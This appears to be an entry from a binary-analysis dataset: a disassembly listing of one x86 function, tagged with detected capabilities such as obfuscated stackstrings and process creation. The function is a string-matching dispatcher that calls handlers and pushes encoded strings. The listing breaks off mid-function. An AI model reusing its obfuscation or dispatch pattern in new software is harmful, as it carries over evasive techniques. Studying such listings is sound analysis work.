Function at 0x529b80
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x582c30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x1e8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x38], esi
mov ecx, esp
mov dword [ebp - 0x40], 0
push 0x5c8778
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529c20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529bf0
sub ecx, dword [ebp - 0x24]
je 0x529c20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529c20
cmp dword [edx + 0x14], 0x10
jb 0x529c0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529c27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529c5b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529c51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc57
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529c73
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8820
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529cd0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529ca0
sub ecx, dword [ebp - 0x24]
je 0x529cd0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529cd0
cmp dword [edx + 0x14], 0x10
jb 0x529cbb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529cd7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529d0b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529d01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc5c
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x52a367
sub esp, 0x18
mov ecx, esp
push 0x5c8808
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529d70
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529d40
sub ecx, dword [ebp - 0x24]
je 0x529d70
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529d70
cmp dword [edx + 0x14], 0x10
jb 0x529d5b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529d77
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529dab
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529da1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc61
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529e5f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.QzROxVTgWoLyUzAFm5vKY09s8JitbnOQo01XSAxPLENsIb2FHHKyE3SXSAyaMBYzSKA
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042cb00
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x529e50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc93
push ecx
push edx
call fcn.00550d24
add esp, 8
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8838
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x529eb7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529e87
sub ecx, dword [ebp - 0x24]
je 0x529eb7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x529eb7
cmp dword [edx + 0x14], 0x10
jb 0x529ea2
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x529ebe
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x529ef2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x529ee8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc66
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x529fa6
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eUlqsMgJrSC0IJSa0oIiWTJIzQREmUHW0OcIARWHFj5IUCFskkC1sXuaxdP
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042cb00
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x529f97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc93
push ecx
push edx
call fcn.00550d24
add esp, 8
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8850
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a000
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x529fd0
sub ecx, dword [ebp - 0x24]
je 0x52a000
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a000
cmp dword [edx + 0x14], 0x10
jb 0x529feb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a007
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a03b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a031
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc6b
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a050
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041f130
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8988
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a0a8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a078
sub ecx, dword [ebp - 0x24]
je 0x52a0a8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a0a8
cmp dword [edx + 0x14], 0x10
jb 0x52a093
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a0af
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a0e3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a0d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc70
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x52a699
sub esp, 0x18
mov ecx, esp
push 0x5c89a0
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a145
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a115
sub ecx, dword [ebp - 0x24]
je 0x52a145
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a145
cmp dword [edx + 0x14], 0x10
jb 0x52a130
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a14c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a180
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a176
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc75
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x52a741
sub esp, 0x18
mov ecx, esp
push 0x5c8a90
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a1e2
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a1b2
sub ecx, dword [ebp - 0x24]
je 0x52a1e2
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a1e2
cmp dword [edx + 0x14], 0x10
jb 0x52a1cd
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a1e9
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a21d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a213
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc7a
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x52a7e7
sub esp, 0x18
mov ecx, esp
push 0x5c8790
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a280
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a250
sub ecx, dword [ebp - 0x24]
je 0x52a280
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a280
cmp dword [edx + 0x14], 0x10
jb 0x52a26b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a287
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a2bb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a2b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc7f
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a2ce
mov ecx, dword [esi + 0xc]
call fcn.0041fb10
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8820
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a326
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a2f6
sub ecx, dword [ebp - 0x24]
je 0x52a326
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a326
cmp dword [edx + 0x14], 0x10
jb 0x52a311
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a32d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a361
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a357
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc84
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a376
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041f130
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8808
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a3d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a3a0
sub ecx, dword [ebp - 0x24]
je 0x52a3d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a3d0
cmp dword [edx + 0x14], 0x10
jb 0x52a3bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a3d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a40b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a401
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc89
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a4bf
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.YW5O2YxpMtLxMRHTG5ZBQRVsjEAkBWOTwWmByAHgDhlsxWUMdRKxcV8ByAENEkwzMHg
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042cb00
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52a4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc93
push ecx
push edx
call fcn.00550d24
add esp, 8
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8838
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a517
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a4e7
sub ecx, dword [ebp - 0x24]
je 0x52a517
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a517
cmp dword [edx + 0x14], 0x10
jb 0x52a502
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a51e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a552
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a548
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc8e
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a600
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.MHNihWEtRxAyhA7UUJiHEAhALK1gc6FQdHxGgw8AXwRAxYhIe2AzFecUR8l
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042cb00
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52a4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc93
jmp 0x52a4b0
sub esp, 0x18
mov ecx, esp
push 0x5c8988
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a658
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a628
sub ecx, dword [ebp - 0x24]
je 0x52a658
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a658
cmp dword [edx + 0x14], 0x10
jb 0x52a643
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a65f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a693
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a689
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc98
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a6a6
mov ecx, dword [esi + 0xc]
call fcn.00406280
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c89a0
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a700
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a6d0
sub ecx, dword [ebp - 0x24]
je 0x52a700
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a700
cmp dword [edx + 0x14], 0x10
jb 0x52a6eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a707
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a73b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a731
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dc9d
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a74e
mov ecx, dword [esi + 0xc]
call fcn.00406560
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8a90
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a7a6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a776
sub ecx, dword [ebp - 0x24]
je 0x52a7a6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a7a6
cmp dword [edx + 0x14], 0x10
jb 0x52a791
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a7ad
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a7e1
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a7d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dca2
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a7f4
mov ecx, dword [esi + 0xc]
call fcn.0041ff90
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8868
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a850
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a820
sub ecx, dword [ebp - 0x24]
je 0x52a850
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a850
cmp dword [edx + 0x14], 0x10
jb 0x52a83b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a857
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a88b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a881
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dca7
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a8a0
mov ecx, dword [esi + 0xc]
push 1
call fcn.00408ee0
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8880
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a8f8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a8c8
sub ecx, dword [ebp - 0x24]
je 0x52a8f8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52a8f8
cmp dword [edx + 0x14], 0x10
jb 0x52a8e3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a8ff
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a933
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a929
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcac
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52a948
mov ecx, dword [esi + 0xc]
push 0
call fcn.00408ee0
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8898
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52a9a2
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52a970
sub ecx, esi
je 0x52a9a2
mov esi, dword [edx + 0x10]
test esi, esi
je 0x52a9a2
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x50], esi
jb 0x52a98d
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52a9ac
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52a9e0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a9d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcb1
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52aad8
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52aa20
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052e1c0
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.00555ced
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x40]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0055743f
add esp, 0x14
cmp esi, dword [ebp - 0x40]
je 0x52dcb6
cmp dword [edi], 0x22
je 0x52dcc0
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.004091c0
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x52dc3f
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52a4b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcca
jmp 0x52a4b0
sub esp, 0x18
mov ecx, esp
push 0x5c8730
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52ab35
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52ab00
sub ecx, dword [ebp - 0x24]
je 0x52ab35
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52ab35
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52ab20
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52ab3c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52ab70
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52ab66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dccf
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52ac81
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52abb0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
